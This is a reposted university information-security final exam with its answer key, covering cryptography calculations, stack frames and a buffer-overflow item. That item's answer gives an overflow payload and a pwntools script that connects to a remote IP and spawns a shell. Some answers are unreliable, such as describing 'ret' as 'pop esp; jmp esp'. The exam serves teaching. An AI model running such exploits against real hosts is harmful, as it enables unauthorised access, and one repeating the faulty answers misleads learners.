-->
当前位置:首页 > 题库 > 正文内容

湖州师范学院2018—2019学年第一学期 《信息安全技术》期末考试试卷(A卷) 及答案

Luz4年前 (2021-03-04)题库1799

湖州师范学院2018—2019学年第一学期

《信息安全技术》期末考试试卷(A卷)

       考试时间   120  分钟

说明:(1)将所有试题的答案写在答卷上;

     2)交卷时将答卷纸和试题一同上交。

 

学院          班级        学号    姓名           成绩        

 

题号

总分

分数








 

得分


 

一、选择题(每题1.5分,共15分)

 

1  ________可以确保个人能够控制或影响与自身相关的信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露。

A、数据机密性       B、隐私性     C、数据完整性     D、可用性

2  下列不属于计算机病毒的主要来源有_______

A、黑客组织编写          B、计算机自动产生

C、恶意编制              D、恶作剧

3  ________是试图学习或利用信息,但不影响系统资源。

A、主动攻击       B、内部攻击        C、外部攻击     D、被动攻击

4.    典型的对称算法,是DES、三重DES________

ASHA       BRSA         CAES         DDSS

5  下列说法正确的是________

A、计算机系统硬件的主要威胁是对其可用性的威胁。

B、软件的主要威胁是对软件可用性的攻击。

C、保密性的主要威胁是非授权读取数据文件或数据库。

D、以上三项都正确。

6  下列不属于对称加密的是________

A3DES       BAES         CDES         DRSA

7  下列关于流密码,说法不正确的是________

A、更适用于处理成块的数据,比如文件传输、电子邮件。

B、相比于分组密码来说,往往速度更快。

C、大多情况下,需要编写的代码比分组密码来说更少。

D、如果用流密码对两个明文加密使用相同的密钥,则密码分析就会相当容易。

8、公开密钥密码体制的含义是______

A、将所有密钥公开                 B、将私有密钥公开,公开密钥保密

C、将公开密钥公开,私有密钥保密     D、两个密钥相同

9、不属于常见的危险密码是_____

A、跟用户名相同的密码       B、使用生日作为密码

C、只有4位数的密码         D10位的综合型密码

10、密码学的目的是_______

A、研究数据加密             B、研究数据解密

C、研究数据保密             D、研究信息安全

得分


 

二、填空题每空115

 

1DES采用(1)________位的明文长度和(2)________位的密钥长度。

2、计算机系统资产包括: (3)________(4)____________(5)__________(6)__________

3、计算机安全威胁包括: (7)________(8)____________(9)__________(10)__________

4、常见的RSA攻击有:(11)__________(12)___________等。

5112位密钥通常有(13)________种可能,密钥越长,越不容易被破解。

6、常见的缓冲区溢出有:(14)____________(15)______________

得分


 

三、简答题(每题5分,共30分)

 

1、简述计算机安全的定义。

2、什么是缓冲区溢出,列出可能产生的后果。

3、简述被动攻击和主动攻击。

4简述DES加密过程

5、简述安全实施步骤。

6、简述推理攻击。

得分


 

四、计算题(每小题5分,共20分)

 

1、简述一下RSA的加解密的过程,并且求出当明文为m=14e=5p=5q=11,求出加密后的c

2、异或运算是很多加密算法中常用的方式,请你计算出6D4E2F8A5B7C异或的二进制结果。

3、在AES算法中,有以下数据:

0xd50xbf0x5d0x300xe00xb40x520xae

0xb80x410x110xf10x1e0x270x980xe5

经过以下行移位,请问得到新的数据是什么?

image.png

4、在DES算法中,有以下64位密钥: 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001。这个64位的秘钥根据如下表格PC-1进行变换。请问:变化后得到56位的新秘钥是什么?

image.png

得分


 

五、编程题(每小题6分,共6分)

 

1、以下是一个明文的加密过程,加密代码如下,请你写出解密代码(不限制语言),并且求出明文。此代码加密后得到的密文是:GcihjqhJcZ

注意:ord():将字符转换为其对应的ascll码,如A65Z:90a=97,z=122。(注:plaintext表示明文)。chr():用一个范围在 range256)内的(就是0255)整数作参数,返回一个对应的字符。

plaintext = 'xxxxxxxxxxxxxx'

j = 1

k = 0

for i in plaintext:

print(chr(ord(i) - j), end='')

k += 1

j += 1

得分


 

六、综合分析题(每小题7分,共14分)

 

1、在一次溢出过程中,我们截获了一段源码,如下所示。假设在目标程序中,函数bin_sh()函数的内存地址为四字节地址是0x08048454

#include<stdio.h>

void bin_sh(){

       system("/bin/sh");

}

int main(){

       char str[5];

       gets(str); 

       return 0;

}

1)请问如何通过溢出得到shell权限?

2)假设栈底与str之间没有其他数据,请给出payloadpayload即你所输入的一段能够得到shell的字符串),并解释原因。

       注意:地址的字符串形式可用p64(addr)p32addr)表示,其中addr为地址。p32()与p64()的区别在于需要转化的是32位地址还是64位地址。

3)已知此次攻击的地址和端口号为:111.198.29.45 47492请写出exp(攻击脚本)。

2、给定以下C语言程序,包括mainfoo两个函数,其经过编译调试运行,得到两个调试窗口的截图。

#include <stdio.h>

int foo(int a,int b)

{

       int c=10;

       int d;

       d = a+b+c;

       return d;

}

int main(void)

{

       int sum;

       sum=foo(1,2);

}

(1)根据下图,试写出main()生成的汇编代码;结合espebp,解释pushcallleaveret语句;解释在add esp,8语句中为什么增加8;当前运行在哪行语句,解释当前espebpeip值的含义。

image.png

2)解释push ebpmov ebp,espsub esp,0x10的三条语句含义;foo函数的入口地址是多少?语句push ebp对应的pop放置在哪里?

image.png

 



湖州师范学院2018—2019学年第一学期

《信息安全技术》期末考试试卷(A卷)

                     考试时间   120  分钟

说明:(1)将所有试题的答案写在答卷上;

     2)交卷时将答卷纸和试题一同上交。

 

学院          班级        学号    姓名           成绩        

 

题号

总分

分数








 

 

得分


 

一、选择题(每题1.5分,共15分)

 

1

2

3

4

5

6

7

8

9

10

B

B

D

C

D

D

A

C

D

C

 

得分


 

二、 填空题每空115

 

1(1)____64____ (2)____56____

2(3)___硬件_____(4)____软件________(5)____数据______(6)___通信线路和网络_______

3(7)___非授权泄露_____(8)____欺骗________(9)____破坏______ (10)___篡夺_______

4(11)___模数分解_______ (12)____低加密指数攻击或者共模攻击_______

5(13)__2112______

6(14)____栈溢出________ (15)_____堆溢出_________

 

得分


 

三、简答题(每题5分,共30分)

 

1、简述计算机安全的定义。

答案:保证信息系统资产的机密性、完整性和可用性的措施和控制方法,其中资产包括硬件、软件、固件以及处理、存储和通信的信息。

2、什么是缓冲区溢出,列出可能产生的后果。

答案:缓冲区溢出是指接口的一种状况,此时大量的输入被放置到缓冲区或者数据存储区,超过了其所分配的存储能力,覆盖了其他信息。攻击者利用这样的状况破坏系统或者插入特别编制的代码,以获得系统的控制权。

3、简述被动攻击和主动攻击。

答案:被动攻击是窃听或监视数据传输,攻击者的目标是获取传输的数据信息,试图从系统中学习或利用信息,但不影响系统资源。主动攻击是对数据流进行篡改或伪造数据流,试图改变系统资源或影响其运行。

4、简述一下DES的加密过程。

输入64位明文数据,并进行初始置换IP;(初始置换IP

在初始置换IP后,明文数据再被分为左右两部分,每部分32位,以L0R0表示;

在秘钥的控制下,经过16轮运算(f);(密钥变换)

16轮后,左、右两部分交换,并连接再一起,再进行逆置换;(逆置换)

输出64位密文。

5、简述安全实施步骤。

安全实施涉及四个互为补充的行动步骤:预防、检测、响应和恢复。

6、简述推理攻击。

答案:非授权实体通过基于特征的推理或通信产品间接访问敏感数据(但不一定是包含在通信中的数据)的威胁行为。

 

得分


 

四、计算题(每小题5分,共20分)

 

1、简述一下RSA的加解密的过程,并且求出当明文为m=14e=5p=5q=11,求出加密后的c

解:加密过程:用公钥(en)加密c = m^e mod n ,其中n=p*qpq为素数

解密过程:用私钥(dn)解密m = c^d mod n,其中d*e mod ((p-1)*(q-1))=1

c =14^5 mod 55 =34

2、异或运算是很多加密算法中常用的方式,请你计算出6D4E2F8A5B7C异或的二进制结果。

6D4E2F= 0110 1101 0100 1110 0010 1111

8A5B7C= 1000 1010 0101 1011 0111 1100

结果:1110 0111 0001 0101 0101 0011

3、在AES算法中,有以下数据:

0xd50xbf0x5d0x300xe00xb40x520xae

0xb80x410x110xf10x1e0x270x980xe5

经过以下行移位,请问得到新的数据是什么?

image.png

答案:

0xd50xe00xb80x1e

0xb40x41 0x270xbf

0x110x980x5d0x52

0xe50x300xae0xf1

或者

0xd50xbf0x5d0x30

0xb40x520xae0xe0

0x110xf10xb80x41

0xe50x1e0x270x98

4、在DES算法中,有以下64位密钥: 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001。这个64位的秘钥根据如下表格PC-1进行变换。请问:变化后得到56位的新秘钥是什么?

image.png

答案:K= 1111000 0110011 0010101 0101111 0101010 1011001 1001111 0001111

 

 

得分


五、编程题(每小题6分,共6分)

 

 

1、以下是一个明文的加密过程,加密代码如下,请你写出解密代码(不限制语言),并且求出明文。此代码加密后得到的密文是:GcihjqhJcZord():将字符转换为其对应的ascll码,如A65Z:90a=97,z=122。(注:plaintext表示明文)。chr():用一个范围在 range256)内的(就是0255)整数作参数,返回一个对应的字符。

plaintext = 'xxxxxxxxxxxxxx'

j = 1

k = 0

for i in plaintext:

print(chr(ord(i) - j), end='')

k += 1

j += 1

解:解密代码:

ciphertext = 'GcihjqhJcZ'

j = 1

for i in ciphertext:

    print(chr(ord(i) + j), end='')

j += 1

明文求出的结果:HellowoRld

 

得分


六、综合分析题(每小题7分,共14分)

 

 

1、在一次溢出过程中,我们截获了一段源码,如下所示。假设在目标程序中,函数bin_sh()函数的内存地址为四字节地址是0x08048454

 

#include<stdio.h>

void bin_sh(){

       system("/bin/sh");

}

int main(){

       char str[5];

       gets(str); 

       return 0;

}

1)请简述如何通过溢出得到shell权限;

答案:字符串str最长空间只有5位,而利用gets函数获取str不会判断是否越界,所以只要输入字符溢出后一直覆盖到ebp后,再填入bin_sh()作为返回地址即可。

2)假设栈底与str之间没有其他数据,请给出payloadpayload即你所输入的一段能够得到shell的字符串),并解释原因。

       注意:地址的字符串形式可用p64(addr)p32addr)表示,其中addr为地址。p32()与p64()的区别在于需要转化的是32位地址还是64位地址。

答案: 因为栈底与str之间没有其他数据,所以str越界后会直接覆盖到ebp

Payload:“aaaaa+aaaa+p32(0x08048454)   注:前五个可为任意字符

3)已知此次攻击的地址和端口号为:111.198.29.45 47492请写出exp(攻击脚本)。

from pwn import *

p=remote("111.198.29.45",47492)

payload=aaaaa+aaaa+p32(0x08048454)

p.send(payload)

p.interactive()

 

2、给定以下C语言程序,包括mainfoo两个函数,其经过编译调试运行,得到两个调试窗口的截图。

#include <stdio.h>

int foo(int a,int b)

{

       int c=10;

       int d;

       d = a+b+c;

       return d;

}

int main(void)

{

       int sum;

       sum=foo(1,2);

}

(1)根据下图,试写出main()生成的汇编代码;结合espebp,解释pushcallleaveret语句;解释在add esp,8语句中为什么增加8;当前运行在哪行语句,解释当前espebpeip值的含义。

答案:

a.main()汇编代码:

push 2

push 1

call foo

add esp,8

mov dword ptr[ebp-4],eax

mov eax,0

leave

ret

b.push语句是esp-4call语句是push操作,把下一条指令的地址入栈,并跳转到指定的地址,总结call语句先push操作(即esp-4),然后jmp跳转指令;leave语句包括(mov esp,ebp;pop ebp)两条语句,esp指向了ebp的值,且把原来的ebp恢复,并esp+4ret语句包括(pop esp;jmp esp)两条语句,esp的值原有保存的地址值恢复到esp上,并跳转到esp指向的地址。

c.add esp,8的原因是main函数调用foo函数传递了两个参数21,即在0x80484030x8048405的两条语句push 2push 1,因此esp8

d.当前运行在0x8048407内存地址指向的指令上,即指令寄存器(eip)0x8048407,栈帧地址(ebp)0xffffcfa8,栈顶指针(esp)0xffffcf90


2)解释push ebpmov ebp,espsub esp,0x10的三条语句含义;foo函数的入口地址是多少?语句push ebp对应的pop放置在哪里?

答案:push ebp表示栈顶指针减四esp-4ebp的值入栈;mov ebp,esp表示把当前的栈顶指针esp赋值给ebpsub esp,0x10表示在栈内分配地址给局部变量,即栈顶指针减去16个字节的数据。

 


 

 

 

 

 

 

 

 

 

 


评论列表

Ljh
Ljh
3年前 (2021-08-02)

你好,有无湖州师范的c语言其他年份的试卷!博主

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。